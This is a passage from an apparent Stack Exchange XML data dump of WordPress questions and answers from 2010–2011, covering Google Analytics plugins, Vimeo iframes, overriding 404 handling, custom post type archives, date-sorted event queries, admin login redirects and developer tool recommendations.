wp_footer):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_footer', 'performance', 20 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can be called multiple times.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:38:50.543" LastActivityDate="2011-01-26T14:38:50.543" CommunityOwnedDate="2010-09-15T17:43:57.633" CommentCount="1" />
  <row Id="1867" PostTypeId="1" AcceptedAnswerId="1875" CreationDate="2010-09-15T18:02:54.303" Score="11" ViewCount="301" Body="&lt;p&gt;Our situation is that we only dabble with Wordpress, however one of our Wordpress customers wishes to add Google Analytics to his site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming we can do this manually, relatively easily. And our instincts would be to go down that route. The customer is only small scale and won't need to do anything especially sophisticated, at least at this stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We want to keep this simple. Is it best to avoid a plugin?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the great answers- in the end we did use a plug-in. As promised by the experts who answered below it was super straightforward.&lt;/p&gt;&#xA;" OwnerUserId="875" LastEditorUserId="875" LastEditorDisplayName="" LastEditDate="2011-02-10T09:18:41.493" LastActivityDate="2011-02-10T09:18:41.493" Title="Add Google Analytics manually, or use a plug-in?" Tags="&lt;plugins&gt;&lt;google-analytics&gt;" AnswerCount="4" FavoriteCount="4" />
  <row Id="1868" PostTypeId="1" CreationDate="2010-09-15T18:04:15.357" Score="0" ViewCount="192" Body="&lt;p&gt;I am trying to load a vimeo video into a single page, but it is telling me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Given URL is not allowed by the Application configuration.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but on other pages the same iframe, copied and pasted into a page template, works fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;http://player.vimeo.com/video/4426465&quot; width=&quot;400&quot; height=&quot;230&quot; frameborder=&quot;0&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-01-13T21:31:06.157" Title="iframe works on a page, but not a single, why?" Tags="&lt;html&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="1869" PostTypeId="2" ParentId="1867" CreationDate="2010-09-15T18:08:43.473" Score="6" ViewCount="" Body="&lt;p&gt;Use a plugin. Especially if you want it simple. Because plugin would take care of obscure stuff that won't even occur to you. &lt;a href=&quot;http://yoast.com/canonical-urls-social-media-campaign-tracking/&quot; rel=&quot;nofollow&quot;&gt;Duplicate pages in Google index from their own Analytics tags&lt;/a&gt; is excellent example of such.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T18:08:43.473" CommentCount="1" />
  <row Id="1870" PostTypeId="2" ParentId="1868" CreationDate="2010-09-15T18:11:32.653" Score="1" ViewCount="" Body="&lt;p&gt;I assume this is message given by Vimeo? In that case it's probably better to ask them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that WP likes to strip out iframes completely, but if it did get to display nothing more WP can break.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T18:11:32.653" CommentCount="6" />
  <row Id="1871" PostTypeId="2" ParentId="589" CreationDate="2010-09-15T18:16:02.863" Score="1" ViewCount="" Body="&lt;p&gt;Hybrid with &lt;a href=&quot;http://themehybrid.com/themes/skeleton&quot; rel=&quot;nofollow&quot;&gt;Skeleton child theme&lt;/a&gt; is good combination to make use of framework, but start with minimal design.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T18:16:02.863" />
  <row Id="1872" PostTypeId="2" ParentId="1867" CreationDate="2010-09-15T18:17:15.980" Score="2" ViewCount="" Body="&lt;p&gt;this is one thing I always use a plugin for. Without question.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-15T18:17:15.980" />
  <row Id="1873" PostTypeId="2" ParentId="1862" CreationDate="2010-09-15T18:18:50.670" Score="0" ViewCount="" Body="&lt;p&gt;just add a category filter into your index.php query in your template. simples&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-15T18:18:50.670" />
  <row Id="1875" PostTypeId="2" ParentId="1867" CreationDate="2010-09-15T18:26:15.290" Score="10" ViewCount="" Body="&lt;p&gt;I'd suggest either a plug-in or a drop-in section of code in your client's &lt;code&gt;functions.php&lt;/code&gt; file.  The advantage of a drop-in is that you can add it once and never have to worry about activating or managing the system once it's up-and-running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1856#1856&quot;&gt;Here's a quick explanatio&lt;/a&gt;n of how to add the Google tracking code to your theme's &lt;code&gt;functions.php&lt;/code&gt; file.  The code itself will be automatically added to the footer of every page, archive, and post.  This is essentially what a plug-in will do, without requiring you to activate/administer the system within the WordPress UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use &lt;a href=&quot;http://wordpress.org/extend/plugins/google-analytics-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics for WordPress&lt;/a&gt; to do the same thing within the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The choice between plug-in or drop-in is entirely up to you.  A drop-in takes about 10 seconds to add with copy-paste.  A plug-in takes only slightly longer.  The actual setup process within Google Analytics to get your tracking code will take longer than either approach.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-15T18:26:15.290" CommentCount="2" />
  <row Id="1876" PostTypeId="1" AcceptedAnswerId="1883" CreationDate="2010-09-15T19:28:39.373" Score="0" ViewCount="269" Body="&lt;p&gt;Provided you have a 404 page defined in your theme, Wordpress will display a 404 page if &quot;tag&quot; is defined in $wp_query-&gt;query_vars, and there are no posts matching that tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writing a plugin that displays some information on each page, in addition to posts. I'd like to alter the 404 logic so that the 404 page gets displayed if there are no posts matching a tag &lt;em&gt;and&lt;/em&gt; the plugin cannot pull up any data matching that tag. If the plugin can find data, I'd like to show a normal page, regardless of whether there are posts on that page or not ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been Googling, reading code, reading the codex, and poking around here, and haven't been able to figure out where Wordpress triggers that 404, and how I can override it. (I have a feeling it might have something to do with status_header() in functions.php, but it's not clear how and when I need to hook into it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/ideas/enlightenment appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~ Patch&lt;/p&gt;&#xA;" OwnerUserId="882" LastEditorUserId="882" LastEditorDisplayName="" LastEditDate="2010-09-15T23:20:32.747" LastActivityDate="2011-05-02T01:25:53.763" Title="Are there any hooks that alter the 404 logic?" Tags="&lt;hooks&gt;&lt;plugins&gt;&lt;404-error&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1877" PostTypeId="2" ParentId="1876" CreationDate="2010-09-15T19:37:11.357" Score="0" ViewCount="" Body="&lt;p&gt;Create &lt;code&gt;404.php&lt;/code&gt; template file in your theme and customize as needed (adding your plugin output or whatever). You mention &lt;em&gt;defined in your theme&lt;/em&gt;, what exactly is wrong with this approach for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex &lt;a href=&quot;http://codex.wordpress.org/Creating_an_Error_404_Page&quot; rel=&quot;nofollow&quot;&gt;Creating an Error 404 Page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-15T19:37:11.357" CommentCount="3" />
  <row Id="1878" PostTypeId="1" CreationDate="2010-09-15T21:06:12.003" Score="3" ViewCount="1511" Body="&lt;p&gt;Lets use the classic example of a custom post type called &quot;movies&quot;, with its own taxonomy called &quot;genre&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By registering the custom post type (with a &quot;movie&quot; slug), the permalinks are already set up for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;domain&amp;gt;/movie/action/ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to see all movies in the action genre.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, archives by date, like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;domain&amp;gt;/2010/09/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...don't know about the custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest date-based archive I'm able to get working is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;domain&amp;gt;/2010/?post_type=movies&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which lists all the custom post types posted during the current year (2010). For some reason, the month, taxonomy and a term cannot be added to the URL to get the expected result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What must be done to enable url's like these... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;domain&amp;gt;/2010/09/movie/action/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to work as expected, thus to list all action movies posted during September 2010?&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2010-09-22T16:06:50.933" Title="Custom Post Type Archives by Date and Taxonomy" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;&lt;archive&gt;&lt;date-time&gt;" AnswerCount="2" FavoriteCount="5" />
  <row Id="1879" PostTypeId="2" ParentId="1878" CreationDate="2010-09-15T21:30:43.800" Score="2" ViewCount="" Body="&lt;p&gt;Custom Post Types are not designed to provide archive as the common blog post post type does. This might be something that will be changed in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the missing link: &lt;a href=&quot;http://wpdevel.wordpress.com/2010/09/13/cpt-enhancements/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Types (CPT) enhancements that deserve consideration in 3.1&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-16T15:29:56.027" LastActivityDate="2010-09-16T15:29:56.027" />
  <row Id="1880" PostTypeId="2" ParentId="1853" CreationDate="2010-09-15T21:41:55.033" Score="3" ViewCount="" Body="&lt;p&gt;Rather save the event meta field date(s) as a unix-timestamp, instead of a string, or you'll be making life too difficult for yourself. It just makes date comparisons so much easier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how to convert your YYYY/MM/DD format to a unix timestamp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = '2010/09/22';&#xA;$dateParts = explode('/', trim($date));&#xA;if (count($dateParts) == 3) {&#xA;    $timestamp = mktime(0, 0, 0, $dateParts[1], $dateParts[2], $dateParts[0]);&#xA;} else {&#xA;    $timestamp = 0; &#xA;    // The input value is dodgy, therefore the timestamp is set to 0, which is &#xA;    // effectively 1970-01-01T00:00:00Z.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To convert back again for user editing and displaying, it's as simple as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$displayValue = date('Y/m/d', $timestamp);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd also recommend that you name your custom field something more specific, like gs_event_date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have done that, create your filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function gs_events_pre_get_posts($query) {&#xA;&#xA;    // Note: Use the $pagenow global for finer grained checking, &#xA;    // if you want to. There are many examples out there.&#xA;&#xA;    // Your question pertains to admin use only...&#xA;&#xA;    if (is_admin()) {&#xA;&#xA;        // Present the posts in your meta_key field's order in admin&#xA;&#xA;        if (isset($query-&amp;gt;query_vars['post_type'])) {&#xA;            if ($query-&amp;gt;query_vars['post_type'] == 'gs_events') {&#xA;&#xA;                $query-&amp;gt;set('meta_key', 'gs_event_date');&#xA;                $query-&amp;gt;set('orderby', 'meta_value');&#xA;                $query-&amp;gt;set('order', 'ASC');&#xA;&#xA;                // ...and if you only want your future events to be &#xA;                // displayed in admin, you can uncomment the following:&#xA;&#xA;                // $query-&amp;gt;set('meta_compare', '&amp;gt;=');&#xA;                // $query-&amp;gt;set('meta_value', time());&#xA;&#xA;                // Note: The use of time() is quick-and-dirty here, &#xA;                // in reality you'll need to adjust the timezone, &#xA;                // check server-time vs local time, etc.&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add your filter...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_get_posts' , 'gs_events_pre_get_posts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="843" LastEditorUserId="843" LastEditorDisplayName="" LastEditDate="2010-09-22T13:54:01.867" LastActivityDate="2010-09-22T13:54:01.867" CommentCount="2" />
  <row Id="1881" PostTypeId="2" ParentId="1132" CreationDate="2010-09-15T22:24:43.647" Score="1" ViewCount="" Body="&lt;p&gt;I'll probably be going with the bbPress plugin when it comes out (&lt;a href=&quot;http://buddypress.org/2010/08/buddypress-and-bbpress-the-future/&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/2010/08/buddypress-and-bbpress-the-future/&lt;/a&gt;). In the meantime, I looked at simple press; it was slow and bloated. I ended up going with mingle forum (http://wordpress.org/extend/plugins/mingle-forum/). Nothing fancy, but it was easy to set up and it gets the job done just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes less is more :)&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2010-09-15T22:24:43.647" />
  <row Id="1882" PostTypeId="2" ParentId="1867" CreationDate="2010-09-15T23:02:16.163" Score="1" ViewCount="" Body="&lt;p&gt;I suggest a plugin.  As others have already argued on this site, custom code is asking for disaster on WP.  When you use a plugin you have a ready made path to upgrades and enhancements.  Avoiding customization of the WP core is critical and I have seen better results waiting for an enhancement than forcing it.&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-09-15T23:02:16.163" CommentCount="2" />
  <row Id="1883" PostTypeId="2" ParentId="1876" CreationDate="2010-09-16T00:13:24.653" Score="1" ViewCount="" Body="&lt;p&gt;After a bit more slogging through code and Googling, I found the answer. It's contained in &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11312&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; (see Otto42's post), but for the record, adding the following to your plugin will override the 404 handling for the conditions you specify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template_redirect', 'my_404_override' );&#xA;function my_404_override() {&#xA;    global $wp_query;&#xA;&#xA;    if (&amp;lt;some condition is met&amp;gt;) {&#xA;        status_header( 200 );&#xA;        $wp_query-&amp;gt;is_404=false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you need to set &quot;is_404&quot; to false before PHP outputs headers, which is why hooking it in the template_redirect logic is a good idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;~ Patch&lt;/p&gt;&#xA;" OwnerUserId="882" LastActivityDate="2010-09-16T00:13:24.653" />
  <row Id="1884" PostTypeId="1" AcceptedAnswerId="2387" CreationDate="2010-09-16T04:05:04.887" Score="0" ViewCount="119" Body="&lt;p&gt;When I am trying  to login as admin to my site I am redirecting to another unknown page. The login page is  pointed to a page-Id2 .I don't understand why it is happened and how to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links to admin page are redirecting to that page Id-12 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could any one help me to resolve the issue &lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2010-09-30T02:24:38.637" Title="Problem in logging in as admin" Tags="&lt;multisite&gt;&lt;errors&gt;" AnswerCount="2" />
  <row Id="1885" PostTypeId="2" ParentId="1884" CreationDate="2010-09-16T04:32:38.783" Score="2" ViewCount="" Body="&lt;p&gt;My first recommendation would be to delete or rename your &lt;code&gt;.htaccess&lt;/code&gt; file.  That file is what contains the guts of WordPress' redirection engine.  And that's also the only thing that could be redirecting from the login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress redirects &lt;em&gt;virtual&lt;/em&gt; URLs to &lt;code&gt;http://blog.url/index.php&lt;/code&gt; so that the blog can serve up content.  But the admin dashboard and login pages are &lt;em&gt;real&lt;/em&gt; pages within the site ... not virtual URLs.  If you can't manually get to &lt;code&gt;http://blog.url/wp-admin/index.php&lt;/code&gt; or &lt;code&gt;http://blog.url/wp-login.php&lt;/code&gt; then that means something on the server side of things is preventing you from accessing WordPress ... &lt;code&gt;.htaccess&lt;/code&gt; is the first place to look ... your actual server configuration would be the second.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-16T04:32:38.783" CommentCount="2" />
  <row Id="1886" PostTypeId="2" ParentId="324" CreationDate="2010-09-16T07:03:01.087" Score="11" ViewCount="" Body="&lt;p&gt;OS &lt;strong&gt;Windows&lt;/strong&gt; XP, most of stuff is portable to move between computers and use from external hard drive.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt; excellent non-free IDE, a lot of focus on speed and productivity of coding&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;Xdebug&lt;/a&gt; debugger, a lot of useful functions to dump, trace stack, profile&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jokkedk/webgrind&quot; rel=&quot;nofollow&quot;&gt;webgrind&lt;/a&gt; visualizer for xdebug profiler logs&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://winscp.net/&quot; rel=&quot;nofollow&quot;&gt;WinSCP&lt;/a&gt; secure file transfer, folders sync, remote editing, backup&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.uniformserver.com/&quot; rel=&quot;nofollow&quot;&gt;Uniform Server&lt;/a&gt; WAMP stack, portable, up to date components, eAccelerator out of the box&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dev.freshsite.pl/php-accelerators/apc.html&quot; rel=&quot;nofollow&quot;&gt;APC&lt;/a&gt; for opcode and object caching (replaced eAccelerator with)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://utilu.com/IECollection/&quot; rel=&quot;nofollow&quot;&gt;Internet Explorer Collection&lt;/a&gt; easy way to have multiple IE for testing&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.educ.umu.se/~cobian/cobianbackup.htm&quot; rel=&quot;nofollow&quot;&gt;Cobian Backup&lt;/a&gt; local files backup&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dropbox.com/&quot; rel=&quot;nofollow&quot;&gt;Dropbox&lt;/a&gt; off-site backup storage (in context of WP)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.htmlvalidator.com/&quot; rel=&quot;nofollow&quot;&gt;CSE HTML Validator&lt;/a&gt; rarely use it, but very good&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dev.mysql.com/downloads/gui-tools/5.0.html&quot; rel=&quot;nofollow&quot;&gt;MySQL Query Browser&lt;/a&gt; native tool, simple but wicked fast&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://balsamiq.com/products/mockups&quot; rel=&quot;nofollow&quot;&gt;Balsamiq Mockups&lt;/a&gt; interface sketching&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://portableapps.com/apps/internet/firefox_portable&quot; rel=&quot;nofollow&quot;&gt;Firefox Portable&lt;/a&gt; those plugins won't run themselves&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; do I need to explain? :)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://users.skynet.be/mgueury/mozilla/&quot; rel=&quot;nofollow&quot;&gt;HTML Validator&lt;/a&gt; integrates with source view&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.yahoo.com/yslow/&quot; rel=&quot;nofollow&quot;&gt;YSlow&lt;/a&gt; performance&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/speed/page-speed/&quot; rel=&quot;nofollow&quot;&gt;Page Speed&lt;/a&gt; performance&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://chrispederick.com/work/web-developer/&quot; rel=&quot;nofollow&quot;&gt;Web Developer&lt;/a&gt; various nifties&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.prelovac.com/vladimir/browser-addons/seo-doctor&quot; rel=&quot;nofollow&quot;&gt;SEO Doctor&lt;/a&gt; solid no-fluff on-page SEO check&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/view-source-chart/&quot; rel=&quot;nofollow&quot;&gt;View Source Chart&lt;/a&gt; color-coded and foldable page source view&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;WordPress plugins&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://github.com/sant0sk1/wordpress-console&quot; rel=&quot;nofollow&quot;&gt;WordPress Console&lt;/a&gt; cool, handy, but glitches at times&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.code-styling.de/english/development/wordpress-plugin-codestyling-localization-en&quot; rel=&quot;nofollow&quot;&gt;Codestyling Localization&lt;/a&gt; must have for translations&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rarst.net/script/debug-wordpress-hooks/&quot; rel=&quot;nofollow&quot;&gt;list hooks&lt;/a&gt; (shameless plug) several functions for hooks debug&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/theme-check/&quot; rel=&quot;nofollow&quot;&gt;Theme-Check&lt;/a&gt; runs battery of tests on theme for official repository theme requirements&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control&lt;/a&gt; very useful to debug file system access, network access and wp cron&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/codex-generator/&quot; rel=&quot;nofollow&quot;&gt;Codex Generator&lt;/a&gt; (shameless plug) functions research and filling up Codex&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Version control&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://subversion.apache.org/&quot; rel=&quot;nofollow&quot;&gt;Subversion&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/about/&quot; rel=&quot;nofollow&quot;&gt;official WP repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://unfuddle.com/&quot; rel=&quot;nofollow&quot;&gt;Unfuddle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mercurial.selenic.com/&quot; rel=&quot;nofollow&quot;&gt;Mercurial&lt;/a&gt; &#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbucket.org/&quot; rel=&quot;nofollow&quot;&gt;Bitbucket&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://git-scm.com/&quot; rel=&quot;nofollow&quot;&gt;Git&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://unfuddle.com/&quot; rel=&quot;nofollow&quot;&gt;Unfuddle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Considering&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.google.com/chrome&quot; rel=&quot;nofollow&quot;&gt;Chrome&lt;/a&gt; plenty development extensions already, Firefox is damn slow&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Deprecated&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://notepad-plus-plus.org/&quot; rel=&quot;nofollow&quot;&gt;Notepad++&lt;/a&gt; almost never use it since picked up NetBeans&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://phpxref.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;PHPXref&lt;/a&gt; easier to navigate code inside NetBeans&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogs.icta.net/plugins/wptuner/&quot; rel=&quot;nofollow&quot;&gt;WP Tuner&lt;/a&gt; great performance profiling, unfortunately not maintained and broke for WP3&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.chsoftware.net/en/mowes/mowesportable/mowes.htm&quot; rel=&quot;nofollow&quot;&gt;MoWeS&lt;/a&gt; became too much trouble to struggle with component updates and stability issues (Apache started to crash all the time)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://netbeans.org/&quot; rel=&quot;nofollow&quot;&gt;NetBeans&lt;/a&gt; moved on to PhpStorm&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eaccelerator.net/&quot; rel=&quot;nofollow&quot;&gt;eAccelerator&lt;/a&gt; - modern version don't provide object cache, somewhat unstable (occasional crashes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-09-05T20:51:57.840" LastActivityDate="2011-09-05T20:51:57.840" CommunityOwnedDate="2010-09-16T07:03:01.087" CommentCount="2" />
  <row Id="1887" PostTypeId="1" AcceptedAnswerId="1971" CreationDate="2010-09-16T07:49:16.710" Score="1" ViewCount="492" Body="&lt;p&gt;I want to make something like iGoogle in WordPress, in which I can drag and drop the widgets.  How could that be done in HTML 5?&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-09-19T11:58:23.167" LastActivityDate="2011-03-16T12:17:21.397" Title="Can I create drag and drop widgets like iGoogle in WordPress?" Tags="&lt;widgets&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="1888" PostTypeId="1" CreationDate="2010-09-16T08:16:53.243" Score="0" ViewCount="40" Body="&lt;p&gt;Where can I get adverts from for Wordpress? I know about Google and Amazon adverts but where else? Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-16T09:44:46.007" ClosedDate="2010-09-16T14:54:52.590" Title="Wordpress adverts" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="1889" PostTypeId="2" ParentId="1888" CreationDate="2010-09-16T09:44:46.007" Score="0" ViewCount="" Body="&lt;p&gt;This is not really WordPress specific questions and there are numerous options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainly, what kind of advertisement you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPC (cost per click)&lt;/li&gt;&#xA;&lt;li&gt;CPM (cost per impression)&lt;/li&gt;&#xA;&lt;li&gt;CPA (cost per action)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;AdSense (CPC, sometimes CPM) and Amazon (CPA) are probably most known options indeed. Do you have specific reasons to not use them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative to networks is selling advertisement space. There are both self-hosted solutions and services in this area as well. Again - depends on what you need and what advertisement space and volume you have.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-16T09:44:46.007" />
  <row Id="1890" PostTypeId="1" AcceptedAnswerId="1893" CreationDate="2010-09-16T10:24:44.643" Score="1" ViewCount="258" Body="&lt;p&gt;Is there anyway I can edit my htaccess file without using ftp?&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:39:28.840" LastActivityDate="2011-02-16T08:39:28.840" Title="Plugin to edit htaccess file" Tags="&lt;htaccess&gt;&lt;ftp&gt;" AnswerCount="4" />
